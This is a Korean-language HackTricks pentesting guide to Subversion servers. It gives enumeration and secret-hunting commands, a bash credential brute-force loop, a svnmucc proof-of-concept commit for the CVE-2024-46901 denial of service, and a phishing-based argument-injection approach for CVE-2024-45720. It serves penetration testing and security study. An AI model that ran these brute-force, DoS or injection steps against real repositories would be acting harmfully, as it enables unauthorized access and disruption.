3690/tcp - Pentesting Subversion (SVN) 서버
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**Subversion (SVN)**은 소프트웨어 버전 관리와 리비전 관리를 위해 사용되는 중앙집중형 버전 관리 시스템 (Apache 라이선스)입니다.
기본 포트: 3690/tcp (svnserve). HTTP/HTTPS를 통해 mod_dav_svn로 노출되거나 svn+ssh를 통해서도 노출될 수 있습니다.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
열거
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
인증 및 설정 오류 탐지
svnserve.conf파일이anon-access = read(또는write)로 허용되어 있을 수 있습니다. 목록을 볼 수 있다면checkout을 시도해 비밀, 스크립트, CI 토큰을 덤프하세요.- 리포지터리는 종종 버전 관리된 설정 파일에 빌드 파이프라인, 배포 키, 데이터베이스 자격증명을 저장합니다. checkout 후 작업 복사본에서 grep하세요:
grep -R "password\|secret\|token" -n .. - svn+ssh가 활성화되어 있다면, 사용자 셸이 종종 제한된
svnserve명령을 허용합니다; 래퍼를 우회하기 위해 조작된 서브커맨드로ssh user@host svnserve -t를 시도해보세요.
자격증명 무차별 대입 (svnserve)
sasl 인증(활성화된 경우)과 단순 비밀번호 파일은 전송 계층으로만 보호되며 기본적으로 잠금이 없습니다. 간단한 Bash 루프로 자격증명을 시도할 수 있습니다:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
최근 취약점 (실제 영향)
mod_dav_svn: 제어 문자로 인한 DoS (CVE-2024-46901)
- 커밋 권한이 있는 사용자가 제어 문자를 포함한 경로(예:
\x01,\x7f)를 작성할 수 있으며, 이로 인해 레포지토리가 손상되어 이후 체크아웃/로그가 실패하거나mod_dav_svn워커가 충돌할 수 있습니다. - HTTP(S) (
mod_dav_svn)를 통해 서비스되는 Subversion ≤ 1.14.4에 영향을 미칩니다. 1.14.5에서 수정되었습니다. svnmucc로 만든 PoC 커밋(유효한 커밋 자격증명 필요):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- 커밋 후, 일반 클라이언트는 관리자가
svnadmin dump/filter/load로 리비전을 수동으로 제거할 때까지 충돌하거나 업데이트를 거부할 수 있습니다.
Windows argument injection in svn client (CVE-2024-45720)
- Windows에서,
svn.exe의 “best-fit” 문자 인코딩은 특수하게 조작된 non‑ASCII 경로/URL을 처리할 때 command-line argument injection을 허용하여 임의의 프로그램 실행으로 이어질 수 있습니다. - Windows에서만 Subversion ≤ 1.14.3에 영향을 미치며; 1.14.4에서 수정되었습니다. 공격 표면: 개발자가 공격자가 제어하는 URL/경로에서
svn을 실행하도록 phishing 하는 것. - Pentest angle: Windows 개발자에게 제공된 네트워크 공유나 ZIP을 제어할 수 있다면, repo URL 또는 워킹 카피 경로 이름에 best-fit 바이트를 포함시켜
" & calc.exe & "스타일의 주입된 인수로 디코딩되게 한 다음, 피해자가 해당 경로에서svn status또는 유사한 명령을 실행하도록 속이세요.
Notes for Exploitation Workflow
- Check access method:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), 또는svn+ssh://. - Try anonymous read first; then spray common creds. HTTP Basic이 사용된다면, 다른 곳에서 찾은 creds를 재사용하세요.
- Enumerate hooks:
hooks/pre-commit,post-commit스크립트에는 평문 credentials 또는 호스트명이 포함되어 있는 경우가 있습니다. - Leverage
svn:externalsto pull additional paths from other hosts; 체크아웃 후svn propget svn:externals -R .로 목록을 확인하세요. - Version leaks:
mod_dav_svn의 HTTP 응답 헤더는 보통 Subversion & Apache 버전을 표시합니다; 1.14.5와 비교하여 취약 대상인지 확인하세요. - 리포지토리의 파일시스템 접근 권한을 얻은 경우,
svnadmin dump/svnlook author/svnlook dirs-changed로 자격증명 없이 오프라인 분석이 가능합니다.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


